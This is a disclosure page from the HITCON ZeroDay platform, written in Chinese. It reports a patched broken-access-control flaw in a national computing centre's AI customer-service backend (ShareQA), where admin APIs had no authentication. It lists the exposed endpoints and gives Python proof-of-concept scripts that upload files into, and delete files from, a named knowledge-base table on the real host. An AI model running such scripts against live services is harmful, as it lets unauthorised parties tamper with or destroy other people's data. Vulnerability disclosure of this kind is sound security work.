國家高速網路與計算中心AI客服後台未授權存取漏洞與API權限控管漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00615
  •  發信 Vendor: 國家高速網路與計算中心
  • Title: 國家高速網路與計算中心AI客服後台未授權存取漏洞與API權限控管漏洞
  • Introduction: AI客服後台管理介面未授權存取漏洞、 API 未進行身份驗證與權限控管漏洞

處理狀態

目前狀態

公開
Last Update : 2026/06/29
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/04/30 23:30:02 : 新提交 (由 鄉民 更新此狀態)
  • 2026/04/30 23:33:36 : 新提交 (由 鄉民 更新此狀態)
  • 2026/04/30 23:37:09 : 新提交 (由 鄉民 更新此狀態)
  • 2026/05/01 00:09:24 : 新提交 (由 鄉民 更新此狀態)
  • 2026/05/02 17:54:05 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:33:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:33:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:33:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/25 08:57:26 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/06/25 09:21:21 : 確認已修補 (由 鄉民 更新此狀態)
  • 2026/06/29 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00615
  • 通報者:鄉民
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://shareqa.td.nchc.org.tw/SG_GAI_Core/header.html
https://shareqa.td.nchc.org.tw/SG_GAI_Core/front_corpus.html
發現API如下:
1."/api/estinetAIManager/admin/qaDatabase/config”
2.“/api/estinetAIManager/sql_api/db/list”
3.“/api/estinetAIManager/sql_api/db/file”
4."/api/estinetAIManager/qaDatabase/__TABLE__/__ID__"
5.“/api/estinetAIManager/sql_api/db/check”
6.“/api/estinetAIManager/job/${jobId}/result”
7.“/api/estinetAIManager/qaDatabase/${encodeURIComponent(currentTableId)}/import”

敘述

國網中心ShareQA服務漏洞
國網中心AI RAP平台https://rap.genai.nchc.org.tw/ 右下角紅色機器人
由https://shareqa.td.nchc.org.tw/SG_GAI_Core/static/nchc/widget.min.js 嵌入
因為ShareQA本身存在透過修改jobid可獲得其他人對話紀錄,因此對此深入搜索。

發現https://shareqa.td.nchc.org.tw/SG_GAI_Core/header.html 該路徑並未進行權限管理,可進入後台,進入後發現https://shareqa.td.nchc.org.tw/SG_GAI_Core/front_corpus.html 路徑下有許多API,
例如:/api/estinetAIManager/admin/qaDatabase/config, 可直接https://shareqa.td.nchc.org.tw/api/estinetAIManager/admin/qaDatabase/config得到回應。
發現API如下:
1."/api/estinetAIManager/admin/qaDatabase/config”
2.“/api/estinetAIManager/sql_api/db/list”
3.“/api/estinetAIManager/sql_api/db/file”
4."/api/estinetAIManager/qaDatabase/TABLE/ID"
5.“/api/estinetAIManager/sql_api/db/check”
6.“/api/estinetAIManager/job/${jobId}/result”
7.“/api/estinetAIManager/qaDatabase/${encodeURIComponent(currentTableId)}/import”

透過第1個API可以獲得tableId代表資料表編號,第2個API可以獲得file_id代表哪一個檔案,將兩個數字帶入第4個API,目前測試該系統的DELETE METHOD似乎都無法執行了。
測試將檔案上傳,成功上傳,程式碼如下:

上傳MD檔(無法上傳空白的MD檔,需要上傳有資料的MD檔)

import time
import os

# 設定主機位址
BASE_URL = "https://shareqa.td.nchc.org.tw"

def upload_to_qa_db(table_id, file_path):

    if not os.path.exists(file_path):
        print(f"找不到檔案: {file_path}")
        return

    import_url = f"{BASE_URL}/api/estinetAIManager/qaDatabase/{table_id}/import"

    print(f"開始上傳檔案: {file_path} (目標資料庫: {table_id})")

    try:
        # 使用 multipart/form-data 格式上傳
        with open(file_path, 'rb') as f:
            files = {'file': (os.path.basename(file_path), f)}
            response = requests.post(import_url, files=files)

        response.raise_for_status()

        # 取得回傳的 jobId
        job_id = response.text.strip()
        print(f"檔案傳輸成功,取得 Job ID: {job_id}")

    except requests.exceptions.RequestException as e:
        print(f"API 請求失敗: {e}")
        return

    # 2. 輪詢 Job 狀態直到完成
    print("等待後端解析語料中...")
    poll_url = f"{BASE_URL}/api/estinetAIManager/job/{job_id}/result"

    while True:
        try:
            res = requests.get(poll_url)

            if res.status_code == 200:
                data = res.json()
                state = data.get("state")

                if state == "finished":
                    if data.get("result") == True:
                        print("處理完成!檔案已成功匯入並建立索引。")
                    else:
                        print("處理完成,但匯入結果為失敗 (result: false)。")
                    break
                else:
                    print(f"目前狀態: {state},處理中...")
            else:
                print(f" 等待回應中 (HTTP Status: {res.status_code})...")

        except Exception as e:
            print(f"檢查狀態時發生連線錯誤: {e}")
        time.sleep(2)

if __name__ == "__main__":
    TARGET_TABLE_ID = "39" 
    # 替換成要上傳的檔案路徑
    FILE_TO_UPLOAD = "TEST.md" 

    upload_to_qa_db(TARGET_TABLE_ID, FILE_TO_UPLOAD)

刪除功能 (目前已被關閉)

import urllib.parse

BASE_URL = "https://shareqa.td.nchc.org.tw"

def delete_single_file(table_id, file_id):

    safe_file_id = urllib.parse.quote(file_id)

    delete_url = f"{BASE_URL}/api/estinetAIManager/qaDatabase/{table_id}/{safe_file_id}"
    print(f"準備刪除檔案: {file_id} (資料庫: {table_id})")

    try:
        # 發送 DELETE 請求
        response = requests.delete(delete_url)

        # 檢查 HTTP 狀態碼
        if response.status_code == 200:
            print(f"檔案 {file_id} 刪除成功!")
        else:
            print(f"刪除失敗,伺服器回傳狀態碼: {response.status_code}")
            print(f"回應內容: {response.text}")

    except requests.exceptions.RequestException as e:
        print(f"API 請求發生錯誤: {e}")

if __name__ == "__main__":
    TARGET_TABLE_ID = "39"

    #file_id從https://shareqa.td.nchc.org.tw/api/estinetAIManager/sql_api/db/list取得
    FILE_TO_DELETE = "1777531988.608858"
    delete_single_file(TARGET_TABLE_ID, FILE_TO_DELETE)

    print("-" * 40)

修補建議

建議使用Web框架進行開發。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;